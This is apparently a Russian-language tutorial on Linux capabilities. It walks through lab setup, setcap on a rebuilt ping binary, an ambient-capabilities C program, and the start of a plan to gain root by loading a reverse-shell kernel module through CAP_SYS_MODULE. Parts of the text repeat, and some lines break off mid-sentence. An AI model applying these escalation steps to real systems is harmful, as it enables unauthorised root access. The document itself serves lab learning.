./Escalate.sh (Вступление)
Большинство людей думают, что все, что я знаю, - это всего лишь немного веба, "SQLi и XSS". Я много раз доказывал, что они ошибаются, но нет способа угодить всем.
В основном я специализируюсь на веб-области, что нормально, но иногда у меня есть причины выйти за рамки веб, например, повышение привилегий в CTF. У вас есть "shell" "Ну и что?", вот тогда в игру вступают знания об операционной системе.
Эта статья посвящена повышению привилегий с помощью возможностей Linux (Linux Capabilities). Это будет / является одной из редких статей, поскольку статей на эту тему не так много, я yвидел только 1 на русском языке, и то было неполно. Я изучаю его по мере того, как пишу.
Все коды, которые я предоставил для создания лабораторной среды, являются моими собственными. Техники могут быть взяты из разных источников, на это не портит "авторское право". Пример: Если кто-то использовал команду "print", это не означает, что команда "print" принадлежит этому человеку.
Предварительные требования: Знание основ Linux, privilege escalation (basics), понимание TCP/IP и модели OSI, понимание timestamp, инкапсуляция/декапсуляция.
Содержание
Обычно, когда мы хотим предоставить разрешения пользователям, не являющимся root, мы делаем это из файла "sudoers". Например, допустим, мы разрешаем пользователю, не являющемуся root, выполнять команду "service", когда пользователь, не являющийся root, выполняет команду "service", набрав "sudo service", команда "service" выполняется с полными правами пользователя root.
Чтобы лучше это понять, представьте себе пользователя root как владельца кафе. Владелец кафе имеет возможность следить за камерой, добавлять новый напиток в меню, менять песни, которые звучат в кафе, изменять дизайн кафе, манипулировать ценами. Теперь давайте предположим, что владелец нанимает специалиста по безопасности (обычного специалиста по безопасности, а не по кибербезопасности / инфозащите). Специалист по безопасности должен следить за камерами, но ему не нужно менять песни в кафе, добавлять новый напиток в меню и т.д. Таким образом, единственная возможность, которой должен обладать специалист по безопасности, - это "камеры наблюдения".
Теперь представьте, что камеры наблюдения - это команда "service" в Linux, в этом случае специалист по безопасности выполняет "sudo service".
Где находятся возможности (capabilities)?
Представьте, что когда специалист по безопасности открывает приложение, которое отслеживает камеры, это приложение "запускает" команду на удаленном сервере, потому что специалист по безопасности входит в приложение мониторинга как администратор. Проблема здесь в том, что специалист по безопасности имеет доступ к этому удаленному серверу, поэтому он может манипулировать командой, которая запускается. Что нам следует делать? Мы должны создать другой профиль в этом приложении для специалиста по безопасности, чтобы при входе в систему другая команда не запускалась на удаленном сервере.
То же самое на самом деле происходит в Linux, когда мы запускаем "sudo service", команда "service" может запустить другую команду в системе, и она будет запущена как "root", потому что "sudo" дает полные привилегии "root".
Возможности Linux (Linux Capablities) - это способ разделить традиционные привилегии суперпользователя (root) на отдельные привилегии, которые могут быть предоставлены конкретным процессам или программам. Например: представьте себе процесс, которому необходимо настроить сетевые параметры, такие как настройка сетевых интерфейсов, изменение таблиц маршрутизации и т.д. Вместо того чтобы предоставлять этому процессу полные привилегии суперпользователя "root", которые предоставили бы ему гораздо больше возможностей, чем необходимо, вы можете назначить "CAP_NET_ADMIN".
В каждом источнике указано разное число, я проверил документацию и увидел в общей сложности 42 возможности.
Лаборатория №1
Прежде чем продолжить работу с лабораториями, мы должны создать среду, в которой мы сможем выполнять действия. Я расскажу о действиях, которые я совершил, вы можете выполнить их, если хотите, или вы можете использовать альтернативные варианты.
Цель этой лабораторной работы - изучить добавлениe "capability". В этой части я скачал ubuntu с нуля, это только для создания среды, которая будет использоваться во всех лабораториях.
Я установил Vmware Fusion 13 Pro (Потому что я использую macOS), лицензионный ключ вы можете найти на github.
Vmware Fusion (MacOS):
Vmware Workstation Pro (Windows):
Я скачал ubuntu server и начал его настраивать.
Ubuntu Server:
Возможно, вам будет неудобно настраивать его полностью так, как это делал я, поэтому не стесняйтесь поискать в Интернете "Как установить ubuntu server на vmware".
Я установлю все по умолчанию.
Изображение [1]: По умолчанию
Изображение [2]: По умолчанию
Изображение [3]: По умолчанию
Изображение [4]: По умолчанию
Теперь я собираюсь выполнить установку и установить все по умолчанию, я понимаю, что это плохая идея, я делаю это, поскольку это тестовая среда.
Изображение [5]: Выбор языка
Изображение [6]: Выбор клавиатуры
Изображение [7]: По умолчанию
Изображение [8]: По умолчанию
Я нажал на "Continue without network", но потом произошло вот что (Изображение [9]). Поэтому я просто нажал "Done".
Изображение [9]: По умолчанию
Изображение [10]: По умолчанию
Подождите немного и нажмите "Done"
Изображение [11]: Ожидание и продолжение работы по умолчанию
Изображение [12]: По умолчанию
Изображение [13]: По умолчанию
Изображение [14]: По умолчанию
Вы можете добавить любые данные, которые пожелаете, просто не забудьте введенные вами данные.
Изображение [15]: Ввод информации
Изображение [16]: По умолчанию
Изображение [17]: По умолчанию
Изображение [18]: По умолчанию
Изображение [19]: Подождите, пока не появится кнопка "Reboot Now"
Изображение [20]: По умолчанию
После ожидания мы видим кнопку "Reboot Now".
Изображение [21]: Наша первая ошибка
Я получил сообщение об ошибке. За минуту до получения этой ошибки я был рад, что установка прошла без каких-либо ошибок. К счастью, эту ошибку легко устранить, я погуглил это "please remove the installation medium and press enter ubuntu" и получил статью
Изображение [22]: Наше первое решение
После перезагрузки пришло много "крутых" сообщений терминала, я снова нажал enter и ввел свое сверхпрочное имя пользователя и пароль. (шутка)
Изображение [23]: Готовый ubuntu
Теперь наш сервер ubuntu готов, и мы можем приступить к созданию нашей лабораторной среды. Первое, что нужно сделать, это сделать снимок (snapshot). С этим мы можем просто вернуться назад, если что-то испортим.
Не рекомендуется делать снимок во время работы операционной системы! Но я делаю это.
Изображение [24]: Создание моментального снимка (snapshot)
Изображение [25]: Создание моментального снимка (snapshot)
Изображение [26]: Создание моментального снимка (snapshot)
Чтобы проверить, был ли создан моментальный снимок или нет, сделайте, как в "Изображение [24]"
Наконец-то мы можем приступить к настройке нашей лаборатории.
Много часов, размышлений позже...
Изображение [27]: ./ping 1.1.1.1
Мы видим, что это не работает, это потому, что мы еще не предоставили возможность, позволяющую работать с сокетом. Чтобы лучше понять это, вы должны понимать, как связаны ping и сокет.
Давайте разберемся, как работает команда ping. Команда ping - это сетевая утилита, используемая для диагностики проблем с подключением к сети и измерения задержки между источником и удалением. Для этого ping использует ICMP (Internet Control Message Protocol), который является протоколом в пакете IP (Internet Protocol).
Если бы эта тема была в моих предыдущих статьях, я бы посоветовал вам изучить ICMP, но на этот раз я этого не сделаю. Я объясню это здесь.
ICMP - это сетевой протокол, используемый для диагностики сети (в большинстве источников пишется что он сообщает о ошибках или сбоях сети). Он функционирует на сетевом уровне TCP/IP или OSI.
Как ICMP работает в утилите ping utility?
Запас слов:
Мы - исходный хост/IP
Сервер, на который мы отправляем запрос - конечный хост/IP, местo назначения, целевой хост
Мы также можем ввести домен в ping, он все равно будет преобразован в IP-адрес.
Не копипаст. Я не изобретал "ping", данные, записанные здесь, основаны исключительно на информации, которую я узнал (из различных источников).
Это похоже на историю сотрудника службы безопасности, о которой я рассказывал ранее. Камеры наблюдения из приложения выполняют код на удаленном сервере. В нашем случае использование ping заставляет сокеты работать в фоновом режиме.
Давайте заменим существующую команду ping на ту, которую мы создали.
Изображение [28]: ping 1.1.1.1
Давайте проверим возможности (capabilities) ping.
Изображение [29]: Получение возможностей пинга
Как вы видите, возможности ping пусты. Мы можем использовать "
Изображение [30]: sudo ping 1.1.1.1
Теперь давайте перейдем к нашему руководству о возможностях
Мы можем использовать эту команду, чтобы добавить возможность "CAP_NET_RAW". Команда "setcap" используется для добавления возможностей. Мы можем использовать команду в этой форме "
Изображение [31]: Добавление возможности для ping
Первая лабораторная работа решена, мы добавили возможность "пинговать" и теперь понимаем, как это работает.
Лаборатория №2
Вопросы возникают из первой лабораторной работы "Что означает '+ep' в 'sudo setcap "cap_net_raw+ep" /usr/bin/ping'?" Ну, для этого мы должны понимать типы возможностей.
Типы возможностей (capabilities)
Разрешенные (Permitted) возможности: Разрешенные возможности определяют набор возможностей, которые разрешено использовать процессу.
Эффективные (Effective) возможности: Эффективные возможности определяют фактические возможности, которые процесс в настоящее время использует.
Наследуемая (Inheritable) возможность - Наследуемые возможности определяют возможности, которые могут быть унаследованы "child" процессами при их создании. Это означает, что "child" процесс будет обладать теми же возможностями, что и родительский процесс. Они используются с внешними (ambient) возможностями
Внешние (Ambient) возможности: объясняю...
Когда процесс пытается выполнить pазрешеннoе действие (например, открыть сетевой сокет как мы делали в ping), ядро проверяет эффективные возможности процесса, чтобы проверить, разрешено ли выполнять это действие или нет. В нашем случае, когда мы добавили '+ep', система может гарантировать, что процесс может использовать только те привилегии, которые ему явно предоставлены.
"Child" процесс относится к процессу, который создается другим процессом, известным как родительский (parent) процесс. "Child" процесс является дубликатом родительского процесса на момент создания.
Внешние (Ambient) возможности используются для того, чтобы позволить процессу сохранять возможности, которые он может передать своим "child" процессам, без добавления этих возможностей в разрешенные или эффективные наборы "child" процессов. Когда процесс обладает этой возможностью, он может использовать ее для выполнения привилегированных действий или операций. Разница в том, что эти возможности являются внешними и временными и действуют только при создании "child" процессов.
Чтобы внешниe возможности работали, они должны поддерживаться ядром. Не все версии ядра могут поддерживать эту возможность. Насколько я понимаю, мы должны написать код на C, чтобы установить эту возможность. Для установки этой возможности требуется функция "CAP_SETFCAP". Как только вы устанавливаете внешнюю возможность для процесса, эта возможность становится доступной в среде. Когда вы создаете "child" процессы из родительского (parent) процесса, который содержит внешние возможности, "child" процессы наследуют внешние возможности.
Таким образом, эти возможности являются временными, и они предоставляются родительскому процессу, после предоставления этих возможностей родительскому процессу "child" процесс унаследуeт эту возможность. Эти возможности НЕ добавляются к "child" процессу, они вступают в силу только при создании "child" процесса (временно унаследуют кароче).
Я написал все это только на основе того, что я понял, и вы вольны это исправить.
Теперь перейдем к нашей лаборатории, давайте удалим разрешенные и эффективные возможности, которые мы предоставили нашей команде ping.
Изображение [32]: Удаление возможности для ping
Теперь пришло время добавить "Внешние" возможности. Как я уже говорил ранее, мы должны использовать код, написанный на "C". Вот готовый скрипт для этого (
Как сказано в коде "You need to install libcap-ng-dev first, then compile using" - сначала мы должны установить libcap-ng-dev
Изображение [33]: Установка libcap-ng-dev
Некоторое время спустя....
Итак, если мы сделаем так, как сказано в коде
мы получим сообщение об ошибке.
Изображение [34]: Cообщение об ошибке
Чтобы предотвратить это, мы должны выполнить
Изображение [35]: Создаем исполняемый файл из нашего C-кода
Некоторое время спустя....
Оказывается, в ubuntu, которую я установил, нет возможности "cap_setpcap". Итак, мы должны запустить
Приведенный выше код добавляет возможность, которая позволит нам запустить команду "ping", мы также использовали "+i" (+eip = +e,+i,+p), которая является наследуемой возможностью, которая работает вместе с возможностью окружения.
Теперь, чтобы проверить, работает ли команда "ping" или нет, мы можем использовать ее. Для этого давайте перейдем в нашу папку "build", которую мы создали, когда устанавливали ping с нуля, и запустим
Как мы видим, команда ping не работает. Теперь давайте запустим наш "ambient" исполняемый файл.
Изображение [36]: Тестирование возможности "ambient"
Мы решили лабораторию. Когда мы использовали возможность "ambient", мы фактически создали оболочку (shell), и внутри этой "оболочки" у нашего пользователя была возможность "cap_net_raw", которая необходима для выполнения исполняемого файла "ping".
Но как проверить возможности пользователя?
Есть 2 способа сделать это.
Изображение [37]: Способы
Лаборатория №3
Давайте подумаем, что на самом деле представляет собой "Повышение привилегий". Когда мы говорим о "повышении привилегий", все, что приходит нам на ум, - это стать "root", но на самом деле речь идет об увеличении привилегий конкретного пользователя для выполнения какого-либо действия. Например, вы, как студент, можете только слушать лекции. Однажды ваш учитель не приходит, и вы начинаете объяснять уроки. Tак что, по сути, "вы" (ученик) расширили свои привилегии, читая лекции, но вы не "стали" своим учителем.
ХА-ХА-ХА, теперь вы можете подумать, что я обманом заставил вас прочитать / сделать все это только для того, чтобы сделать какое-то бесполезное повышение привилегий, нет, я этого не делал, мы создадим лабораторию и будем root!
Ядро подобно сердцу человека, оно управляет аппаратными ресурсами и предоставляет необходимые сервисы приложениям. Модуль ядра - это код, который может быть загружен в работающее ядро операционной системы для расширения его функциональности, не требуя перезагрузки. Хорошо, мы все это поняли, но от имени какого пользователя выполняется этот код? Что ж, это будет выполнено в контексте самого ядра, а не в контексте конкретного пользователя. Он не привязан к конкретному пользователю.
Что произойдет, если мы вставим наш собственный модуль ядра? Что, если этот модуль будет содержать обратную оболочку (reverse shell)? Если я вставляю обратную оболочку (reverse shell) в модуль ядра, пользователь, который подключится к моей оболочке, обычно будет пользователем, обладающим необходимыми привилегиями для выполнения кода, запускающего обратную оболочку. Модули ядра обычно загружаются и выполняются в контексте ядра, поэтому пользователь, инициирующий подключение, может отличаться от пользователя, загрузившего модуль. Итак, мы попытаемся загрузить модуль как непривилегированный (unprivileged) пользователь и получить обратную оболочку как привилегированный (privileged) пользователь.
Создание лаборатории
Прежде чем продолжить, выйдите из оболочки второй лаборатории. Просто используйте команду
Используйте этот код для создания лабораторной среды.
Мы использовали команду
Изображение [38]: Создание лаборатории
Решение лабораторной задачи
Цель этой лабораторной работы - стать root, злоупотребляя CAP_SYS_MODULE, который мы только что добавили в качестве возможности к команде
В любом случае, что такое CAP_SYS_MODULE? Возможность CAP_SYS_MODULE позволяет пользователю загружать и выгружать модули ядра, даже не будучи пользователем root. И мы уже знаем, что можем загружать модули ядра во время работы нашей операционной системы.
Если мы можем загрузить модуль ядра, это означает, что мы должны написать обратную оболочку (reverse shell) на "C", скомпилировать ее и загрузить как модуль ядра.
Вы не поверите, но я заставил ChatGPT написать обратную оболочку (reverse shell) на "C".
Изображение [39]: ChatGPT Reverse Shell
Теперь мы должны скомпилировать его, для этого мы должны создать "MakeFile".
Для компиляции используйте команду
Большинство людей думают, что все, что я знаю, - это всего лишь немного веба, "SQLi и XSS". Я много раз доказывал, что они ошибаются, но нет способа угодить всем.
В основном я специализируюсь на веб-области, что нормально, но иногда у меня есть причины выйти за рамки веб, например, повышение привилегий в CTF. У вас есть "shell" "Ну и что?", вот тогда в игру вступают знания об операционной системе.
Эта статья посвящена повышению привилегий с помощью возможностей Linux (Linux Capabilities). Это будет / является одной из редких статей, поскольку статей на эту тему не так много, я yвидел только 1 на русском языке, и то было неполно. Я изучаю его по мере того, как пишу.
Все коды, которые я предоставил для создания лабораторной среды, являются моими собственными. Техники могут быть взяты из разных источников, на это не портит "авторское право". Пример: Если кто-то использовал команду "print", это не означает, что команда "print" принадлежит этому человеку.
Предварительные требования: Знание основ Linux, privilege escalation (basics), понимание TCP/IP и модели OSI, понимание timestamp, инкапсуляция/декапсуляция.
Содержание
- Что такое Linux Capabilities?
- Лаборатория №1 (Проверка "ping" - Permitted & Effective Capabilities)
- Лаборатория №2 (Проверка "ping" - Ambient capabilities)
- Лаборатория №3 (CAP_SYS_MODULE PrivEsc)
- Лаборатория №4 (CAP_SYS_ADMIN PrivEsc)
- Лаборатория №5 (CAP_DAC_OVERRIDE PrivEsc)
- Интересные Идеи
Обычно, когда мы хотим предоставить разрешения пользователям, не являющимся root, мы делаем это из файла "sudoers". Например, допустим, мы разрешаем пользователю, не являющемуся root, выполнять команду "service", когда пользователь, не являющийся root, выполняет команду "service", набрав "sudo service", команда "service" выполняется с полными правами пользователя root.
Чтобы лучше это понять, представьте себе пользователя root как владельца кафе. Владелец кафе имеет возможность следить за камерой, добавлять новый напиток в меню, менять песни, которые звучат в кафе, изменять дизайн кафе, манипулировать ценами. Теперь давайте предположим, что владелец нанимает специалиста по безопасности (обычного специалиста по безопасности, а не по кибербезопасности / инфозащите). Специалист по безопасности должен следить за камерами, но ему не нужно менять песни в кафе, добавлять новый напиток в меню и т.д. Таким образом, единственная возможность, которой должен обладать специалист по безопасности, - это "камеры наблюдения".
Теперь представьте, что камеры наблюдения - это команда "service" в Linux, в этом случае специалист по безопасности выполняет "sudo service".
Где находятся возможности (capabilities)?
Представьте, что когда специалист по безопасности открывает приложение, которое отслеживает камеры, это приложение "запускает" команду на удаленном сервере, потому что специалист по безопасности входит в приложение мониторинга как администратор. Проблема здесь в том, что специалист по безопасности имеет доступ к этому удаленному серверу, поэтому он может манипулировать командой, которая запускается. Что нам следует делать? Мы должны создать другой профиль в этом приложении для специалиста по безопасности, чтобы при входе в систему другая команда не запускалась на удаленном сервере.
То же самое на самом деле происходит в Linux, когда мы запускаем "sudo service", команда "service" может запустить другую команду в системе, и она будет запущена как "root", потому что "sudo" дает полные привилегии "root".
Возможности Linux (Linux Capablities) - это способ разделить традиционные привилегии суперпользователя (root) на отдельные привилегии, которые могут быть предоставлены конкретным процессам или программам. Например: представьте себе процесс, которому необходимо настроить сетевые параметры, такие как настройка сетевых интерфейсов, изменение таблиц маршрутизации и т.д. Вместо того чтобы предоставлять этому процессу полные привилегии суперпользователя "root", которые предоставили бы ему гораздо больше возможностей, чем необходимо, вы можете назначить "CAP_NET_ADMIN".
В каждом источнике указано разное число, я проверил документацию и увидел в общей сложности 42 возможности.
Код:
CAP_AUDIT_CONTROL
CAP_AUDIT_READ
CAP_AUDIT_WRITE
CAP_BLOCK_SUSPEND
CAP_BPF
CAP_SYS_ADMIN
CAP_CHECKPOINT_RESTORE
CAP_CHOWN
CAP_DAC_OVERRIDE
CAP_DAC_READ_SEARCH
CAP_FOWNER
CAP_FSETID
CAP_IPC_LOCK
CAP_IPC_OWNER
CAP_KILL
CAP_LEASE
CAP_LINUX_IMMUTABLE
CAP_MAC_ADMIN
CAP_MAC_OVERRIDE
CAP_MKNOD
CAP_NET_ADMIN
CAP_NET_BIND_SERVICE
CAP_NET_BROADCAST
CAP_NET_RAW
CAP_PERFMON
CAP_SETGID
CAP_SETFCAP
CAP_SETPCAP
CAP_SETUID
CAP_SYSLOG
CAP_SYS_BOOT
CAP_SYS_CHROOT
CAP_SYS_MODULE
CAP_SYS_NICE
CAP_SYS_PACCT
CAP_SYS_PTRACE
CAP_SYS_RAWIO
CAP_SYS_RESOURCE
CAP_SYS_TIME
CAP_SYS_TTY_CONFIG
CAP_WAKE_ALARM
CAP_INIT_EFF_SET
Лаборатория №1
Прежде чем продолжить работу с лабораториями, мы должны создать среду, в которой мы сможем выполнять действия. Я расскажу о действиях, которые я совершил, вы можете выполнить их, если хотите, или вы можете использовать альтернативные варианты.
Цель этой лабораторной работы - изучить добавлениe "capability". В этой части я скачал ubuntu с нуля, это только для создания среды, которая будет использоваться во всех лабораториях.
Я установил Vmware Fusion 13 Pro (Потому что я использую macOS), лицензионный ключ вы можете найти на github.
Vmware Fusion (MacOS):
https://www.vmware[точка]com/products/fusion/fusion-evaluation.htmlVmware Workstation Pro (Windows):
https://www.vmware[точка]com/products/workstation-pro.htmlЯ скачал ubuntu server и начал его настраивать.
Ubuntu Server:
https://ubuntu[точка]com/download/serverВозможно, вам будет неудобно настраивать его полностью так, как это делал я, поэтому не стесняйтесь поискать в Интернете "Как установить ubuntu server на vmware".
Я установлю все по умолчанию.
Изображение [1]: По умолчанию
Изображение [2]: По умолчанию
Изображение [3]: По умолчанию
Изображение [4]: По умолчанию
Теперь я собираюсь выполнить установку и установить все по умолчанию, я понимаю, что это плохая идея, я делаю это, поскольку это тестовая среда.
Изображение [5]: Выбор языка
Изображение [6]: Выбор клавиатуры
Изображение [7]: По умолчанию
Изображение [8]: По умолчанию
Я нажал на "Continue without network", но потом произошло вот что (Изображение [9]). Поэтому я просто нажал "Done".
Изображение [9]: По умолчанию
Изображение [10]: По умолчанию
Подождите немного и нажмите "Done"
Изображение [11]: Ожидание и продолжение работы по умолчанию
Изображение [12]: По умолчанию
Изображение [13]: По умолчанию
Изображение [14]: По умолчанию
Изображение [15]: Ввод информации
Изображение [16]: По умолчанию
Изображение [17]: По умолчанию
Изображение [18]: По умолчанию
Изображение [19]: Подождите, пока не появится кнопка "Reboot Now"
Изображение [20]: По умолчанию
После ожидания мы видим кнопку "Reboot Now".
Изображение [21]: Наша первая ошибка
Я получил сообщение об ошибке. За минуту до получения этой ошибки я был рад, что установка прошла без каких-либо ошибок. К счастью, эту ошибку легко устранить, я погуглил это "please remove the installation medium and press enter ubuntu" и получил статью
https://askubuntu[точка]com/questions/915814/please-remove-the-installation-medium-then-press-enter, ответ таков "The installation is asking you to remove whatever media (e.g. USB drive, CD, DVD, etc) that you used to boot the installer and then press the Enter key to reboot the machine.". В моем случае я скачал iso-файл из https://ubuntu[точка]com/download/server, так что все, что мне нужно было сделать, это удалить этот файл и просто нажать "Enter".
Изображение [22]: Наше первое решение
После перезагрузки пришло много "крутых" сообщений терминала, я снова нажал enter и ввел свое сверхпрочное имя пользователя и пароль. (шутка)
Изображение [23]: Готовый ubuntu
Теперь наш сервер ubuntu готов, и мы можем приступить к созданию нашей лабораторной среды. Первое, что нужно сделать, это сделать снимок (snapshot). С этим мы можем просто вернуться назад, если что-то испортим.
Не рекомендуется делать снимок во время работы операционной системы! Но я делаю это.
Изображение [24]: Создание моментального снимка (snapshot)
Изображение [25]: Создание моментального снимка (snapshot)
Изображение [26]: Создание моментального снимка (snapshot)
Чтобы проверить, был ли создан моментальный снимок или нет, сделайте, как в "Изображение [24]"
Наконец-то мы можем приступить к настройке нашей лаборатории.
Много часов, размышлений позже...
Bash:
sudo git clone https://github.com/sryze/ping.git
sudo apt update
sudo apt install cmake
cd ping
sudo mkdir build && cd build
sudo cmake ../ -G "Unix Makefiles"
sudo make
./ping 1.1.1.1
Изображение [27]: ./ping 1.1.1.1
Мы видим, что это не работает, это потому, что мы еще не предоставили возможность, позволяющую работать с сокетом. Чтобы лучше понять это, вы должны понимать, как связаны ping и сокет.
Давайте разберемся, как работает команда ping. Команда ping - это сетевая утилита, используемая для диагностики проблем с подключением к сети и измерения задержки между источником и удалением. Для этого ping использует ICMP (Internet Control Message Protocol), который является протоколом в пакете IP (Internet Protocol).
Если бы эта тема была в моих предыдущих статьях, я бы посоветовал вам изучить ICMP, но на этот раз я этого не сделаю. Я объясню это здесь.
ICMP - это сетевой протокол, используемый для диагностики сети (в большинстве источников пишется что он сообщает о ошибках или сбоях сети). Он функционирует на сетевом уровне TCP/IP или OSI.
Как ICMP работает в утилите ping utility?
Запас слов:
Мы - исходный хост/IP
Сервер, на который мы отправляем запрос - конечный хост/IP, местo назначения, целевой хост
Мы также можем ввести домен в ping, он все равно будет преобразован в IP-адрес.
Не копипаст. Я не изобретал "ping", данные, записанные здесь, основаны исключительно на информации, которую я узнал (из различных источников).
- Отправка echo-запроса ICMP (Ping-запрос):
- Когда вы запускаете команду ping, за которой следует IP-адрес, она отправляет сообщение ICMP Echo Request на указанный IP-адрес назначения. Echo-запрос ICMP включает уникальный идентификатор и порядковый номер, чтобы помочь сопоставить запросы с соответствующими ответами. (Это похоже на телефонный звонок: ваш друг видит ваш номер и принимает вызов)
- Маршрутизация и передача данных по сети (запрос):
- Сообщение ICMP Echo Request инкапсулируется в IP-пакет, затем оно отправляется через сетевую инфраструктуру (маршрутизаторы и т.д., Которые помогают ему достичь места назначения).
- Получение echo-запроса ICMP:
- Конечный хост (destination) получает сообщение ICMP Echo Request.
- Генерация echo-ответа ICMP (Ping-ответ):
- В ответ на полученный ICMP-echo-request целевой узел генерирует ICMP-echo-reply сообщение, которое содержит тот же идентификатор и порядковый номер, что и исходный запрос, для обеспечения надлежащего сопоставления. (Это похоже на то, когда вам звонит ваш друг, он знает ваш номер с первого звонка и может убедиться, что это правильный номер для звонка)
- Маршрутизация и передача данных по сети (ответ):
- Echo-reply сообщение ICMP инкапсулируется в IP-пакет, при этом IP-адрес источника устанавливается равным IP-адресу целевого хоста, а IP-адрес назначения - IP-адресу исходного хоста. (То же, что и во второй части)
- Получение echo-ответа ICMP:
- Мы получаем ответное сообщение ICMP Echo.
- Расчет времени в оба конца (RTT):
- Время в оба конца (RTT - Round-Trip Time) - это показатель, который измеряет время, необходимое пакету данных для прохождения от источника к месту назначения и затем обратно от места назначения к источнику. Команда ping вычисляет время прохождения в оба конца (RTT) путем измерения разницы во времени между отправкой echo-запроса ICMP и получением соответствующего echo-ответа. (Для этого используется временная метка/timestamp)
- Отображение результатов:
- Команда ping отображает результаты на вашем терминале. Обычно это включает информацию о RTT, количестве отправленных и полученных пакетов и проценте потери пакетов.
Это похоже на историю сотрудника службы безопасности, о которой я рассказывал ранее. Камеры наблюдения из приложения выполняют код на удаленном сервере. В нашем случае использование ping заставляет сокеты работать в фоновом режиме.
Давайте заменим существующую команду ping на ту, которую мы создали.
Bash:
sudo rm -rf /usr/bin/ping
sudo cp ping /usr/bin/ping
ping 1.1.1.1
Изображение [28]: ping 1.1.1.1
Давайте проверим возможности (capabilities) ping.
Bash:
sudo getcap /usr/bin/ping
Изображение [29]: Получение возможностей пинга
getcap <расположение файла>", чтобы получить возможности исполняемого файла. Вот причина, по которой ping не работает, мы знаем, что для работы ping он должен использовать "сокет". Прежде чем идти дальше, я сказал вам, что "root" имеет полную мощность, поэтому, если мы будем использовать "sudo ping 1.1.1.1" или ping от имени пользователя "root", это сработает.
Изображение [30]: sudo ping 1.1.1.1
Теперь давайте перейдем к нашему руководству о возможностях
https://man7[точка]org/linux/man-pages/man7/capabilities.7.html. Существует возможность, называемая "CAP_NET_RAW" который позволяет использовать сокет.Мы можем использовать эту команду, чтобы добавить возможность "CAP_NET_RAW". Команда "setcap" используется для добавления возможностей. Мы можем использовать команду в этой форме "
setcap <название возможности><+/-/=> <расположение файла>"
Bash:
sudo setcap "cap_net_raw+ep" /usr/bin/ping
ping 1.1.1.1
Изображение [31]: Добавление возможности для ping
Первая лабораторная работа решена, мы добавили возможность "пинговать" и теперь понимаем, как это работает.
Лаборатория №2
Вопросы возникают из первой лабораторной работы "Что означает '+ep' в 'sudo setcap "cap_net_raw+ep" /usr/bin/ping'?" Ну, для этого мы должны понимать типы возможностей.
Типы возможностей (capabilities)
Разрешенные (Permitted) возможности: Разрешенные возможности определяют набор возможностей, которые разрешено использовать процессу.
Эффективные (Effective) возможности: Эффективные возможности определяют фактические возможности, которые процесс в настоящее время использует.
Наследуемая (Inheritable) возможность - Наследуемые возможности определяют возможности, которые могут быть унаследованы "child" процессами при их создании. Это означает, что "child" процесс будет обладать теми же возможностями, что и родительский процесс. Они используются с внешними (ambient) возможностями
Внешние (Ambient) возможности: объясняю...
Когда процесс пытается выполнить pазрешеннoе действие (например, открыть сетевой сокет как мы делали в ping), ядро проверяет эффективные возможности процесса, чтобы проверить, разрешено ли выполнять это действие или нет. В нашем случае, когда мы добавили '+ep', система может гарантировать, что процесс может использовать только те привилегии, которые ему явно предоставлены.
"Child" процесс относится к процессу, который создается другим процессом, известным как родительский (parent) процесс. "Child" процесс является дубликатом родительского процесса на момент создания.
Внешние (Ambient) возможности используются для того, чтобы позволить процессу сохранять возможности, которые он может передать своим "child" процессам, без добавления этих возможностей в разрешенные или эффективные наборы "child" процессов. Когда процесс обладает этой возможностью, он может использовать ее для выполнения привилегированных действий или операций. Разница в том, что эти возможности являются внешними и временными и действуют только при создании "child" процессов.
Чтобы внешниe возможности работали, они должны поддерживаться ядром. Не все версии ядра могут поддерживать эту возможность. Насколько я понимаю, мы должны написать код на C, чтобы установить эту возможность. Для установки этой возможности требуется функция "CAP_SETFCAP". Как только вы устанавливаете внешнюю возможность для процесса, эта возможность становится доступной в среде. Когда вы создаете "child" процессы из родительского (parent) процесса, который содержит внешние возможности, "child" процессы наследуют внешние возможности.
Таким образом, эти возможности являются временными, и они предоставляются родительскому процессу, после предоставления этих возможностей родительскому процессу "child" процесс унаследуeт эту возможность. Эти возможности НЕ добавляются к "child" процессу, они вступают в силу только при создании "child" процесса (временно унаследуют кароче).
Я написал все это только на основе того, что я понял, и вы вольны это исправить.
Теперь перейдем к нашей лаборатории, давайте удалим разрешенные и эффективные возможности, которые мы предоставили нашей команде ping.
Bash:
sudo setcap 'cap_net_raw-ep' /usr/bin/ping
Изображение [32]: Удаление возможности для ping
Теперь пришло время добавить "Внешние" возможности. Как я уже говорил ранее, мы должны использовать код, написанный на "C". Вот готовый скрипт для этого (
https://gist.github[точка]com/infinity0/596845b5eea3e1a02a018009b2931a39)
C:
/*
* Test program for the ambient capabilities
*
* You need to install libcap-ng-dev first, then compile using:
* $ gcc -lcap-ng -o ambient ambient.c && sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>
static void set_ambient_cap(int cap)
{
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char *me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {CAP_NET_RAW, CAP_NET_ADMIN, CAP_SYS_NICE, -1};
int *get_caplist(const char *arg) {
int i = 1;
int *list = NULL;
char *dup = strdup(arg), *tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i-1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char **argv)
{
int rc, i, gotcaps = 0;
int *caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int *)default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
Как сказано в коде "You need to install libcap-ng-dev first, then compile using" - сначала мы должны установить libcap-ng-dev
Bash:
sudo apt install libcap-ng-dev
